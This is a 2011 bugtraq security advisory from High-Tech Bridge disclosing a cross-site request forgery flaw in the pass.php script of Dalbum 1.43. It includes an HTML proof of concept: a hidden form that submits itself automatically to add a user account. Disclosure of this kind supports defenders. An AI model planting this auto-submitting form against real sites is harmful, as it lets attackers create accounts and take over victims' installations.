bugtraq - HTB22941: CSRF (Cross-Site Request Forgery) in Dalbum

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Date: Tue, 19 Apr 2011 10:22:48 +0200 (CEST)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: HTB22941: CSRF (Cross-Site Request Forgery) in Dalbum

Vulnerability ID: HTB22941
Reference: http://www.htbridge.ch/advisory/csrf_cross_site_request_forgery_in_dalbum.html
Product: Dalbum
Vendor: http://www.dalbum.org/ ( http://www.dalbum.org/ ) 
Vulnerable Version: 1.43
Vendor Notification: 05 April 2011 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk level: Low 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
The vulnerability exists due to failure in the "pass.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

[html]
<form action="http://[host]/pass.php" method="post" name="main" />
<input name="user" value="1" type="hidden" />
<input name="pass" value="1" type="hidden" />
<input name="passc" value="1" type="hidden" />
<input type="hidden" name="action" value="add">
<input type="submit" id="btn" name="submit" value="Submit ››">
</form>
<script>
document.getElementById('btn').click();
</script>
[/html]